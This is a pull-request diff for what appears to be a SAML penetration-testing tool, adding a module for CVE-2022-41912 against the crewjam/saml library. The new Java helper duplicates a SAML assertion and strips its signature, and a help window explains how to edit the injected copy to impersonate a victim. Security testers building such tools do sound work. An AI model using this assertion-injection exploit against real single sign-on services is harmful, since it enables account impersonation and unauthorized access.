Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 8 additions & 5 deletions src/main/java/application/SamlTabController.java
Original file line number Diff line number Diff line change
Expand Up @@ -15,11 +15,8 @@
import gui.SamlPanelInfo;
import gui.SignatureHelpWindow;
import gui.XSWHelpWindow;
import helpers.CVE_2025_23369;
import helpers.CVE_2025_25291;
import helpers.CVE_2025_25292;
import helpers.XMLHelpers;
import helpers.XSWHelpers;
import helpers.*;

import java.awt.Component;
import java.awt.Desktop;
import java.awt.Toolkit;
Expand Down Expand Up @@ -514,6 +511,12 @@ public void applyCVE() {
isEdited = true;
setInfoMessageText("%s applied".formatted(cve));
break;
case CVE_2022_41912.CVE:
samlMessage = CVE_2022_41912.apply(orgSAMLMessage);
textArea.setContents(ByteArray.byteArray(samlMessage));
isEdited = true;
setInfoMessageText("%s applied".formatted(cve));
break;
}
} catch (Exception exc) {
setInfoMessageText(exc.getMessage());
Expand Down
16 changes: 16 additions & 0 deletions src/main/java/gui/CVEHelpWindow.java
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
package gui;

import helpers.CVE_2022_41912;
import helpers.CVE_2025_23369;
import helpers.CVE_2025_25291;
import helpers.CVE_2025_25292;
Expand Down Expand Up @@ -67,6 +68,21 @@ public CVEHelpWindow(String cve) {
</li>
</ol>
""";
case CVE_2022_41912.CVE -> """
<ol>
<li>
You need a SAMLResponse that is valid and accepted by the server. The assertion must not be encrypted and the SAMLResponse must not be signed.
</li>
<li>
Apply the CVE-2022-41912 attack. This will duplicate the existing Assertion, resulting in a Response containing <b>two Assertions</b>.
</li>
<li>
The first Assertion is left untouched to pass the signature verification.
<b>Modify the second Assertion</b> (the injected one) to impersonate the victim (e.g., change the NameID or Attributes).
The vulnerable library validates the first one but consumes identity data from the second one.
</li>
</ol>
""";
default -> "No description";
};

Expand Down
4 changes: 3 additions & 1 deletion src/main/java/gui/SamlPanelAction.java
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package gui;

import application.SamlTabController;
import helpers.CVE_2022_41912;
import helpers.CVE_2025_23369;
import helpers.CVE_2025_25291;
import helpers.CVE_2025_25292;
Expand Down Expand Up @@ -111,7 +112,8 @@ private void initialize() {
cmbboxCVE.setModel(new DefaultComboBoxModel<>(new String[]{
CVE_2025_23369.CVE,
CVE_2025_25291.CVE,
CVE_2025_25292.CVE
CVE_2025_25292.CVE,
CVE_2022_41912.CVE
}));

btnCVEApply.addActionListener(event -> controller.applyCVE());
Expand Down
78 changes: 78 additions & 0 deletions src/main/java/helpers/CVE_2022_41912.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
package helpers;

import helpers.XMLHelpers;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import java.io.IOException;

/// Links:
/// * CVE-2022-41912: https://nvd.nist.gov/vuln/detail/CVE-2022-41912
/// * Vulnerable Library: crewjam/saml (Go)
/// * Description: The library verifies the signature of the first assertion but may consume data from a subsequent assertion.
public class CVE_2022_41912 {

public static final String CVE = "CVE-2022-41912";

public static String apply(String samlMessage) throws SAXException, IOException {
XMLHelpers xmlHelpers = new XMLHelpers();
Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage);

// the xml must contain a response
Element response = (Element) document.getElementsByTagNameNS("*", "Response").item(0);
if (response == null) {
throw new IllegalArgumentException("No 'Response' element found.");
}

// get the first assertion (the true one)
Element originalAssertion = (Element) document.getElementsByTagNameNS("*", "Assertion").item(0);
if (originalAssertion == null) {
throw new IllegalArgumentException("No 'Assertion' element found.");
}

// we can then copy it to create our fake assertion
Element maliciousAssertion = (Element) originalAssertion.cloneNode(true);

// I think it's better to change the ID of the fake assertion
String originalID = maliciousAssertion.getAttribute("ID");
if (originalID != null && !originalID.isEmpty()) {
maliciousAssertion.setAttribute("ID", originalID + "_attack");
} else {
maliciousAssertion.setAttribute("ID", "attack_assertion_" + System.currentTimeMillis());
}

response.appendChild(maliciousAssertion);

// finally we have to remove to signature so the parser will not see that its fake
// --- SUPPRESSION PROPRE DE LA SIGNATURE ET DES ESPACES ---
NodeList children = maliciousAssertion.getChildNodes();
for (int i = 0; i < children.getLength(); i++) {
Node child = children.item(i);

// On cherche l'élément Signature
if (child.getNodeType() == Node.ELEMENT_NODE && "Signature".equals(child.getLocalName())) {

// 1. Identifier et supprimer le nœud de texte (espace/indentation) JUSTE AVANT la signature
Node prev = child.getPreviousSibling();
if (prev != null && prev.getNodeType() == Node.TEXT_NODE && prev.getTextContent().trim().isEmpty()) {
maliciousAssertion.removeChild(prev);
}

// 2. Supprimer la signature elle-même
maliciousAssertion.removeChild(child);

// On arrête la boucle car on a trouvé et tué la cible
break;
}
}

return xmlHelpers.getString(document);
}

private CVE_2022_41912() {
// static class
}
}
Loading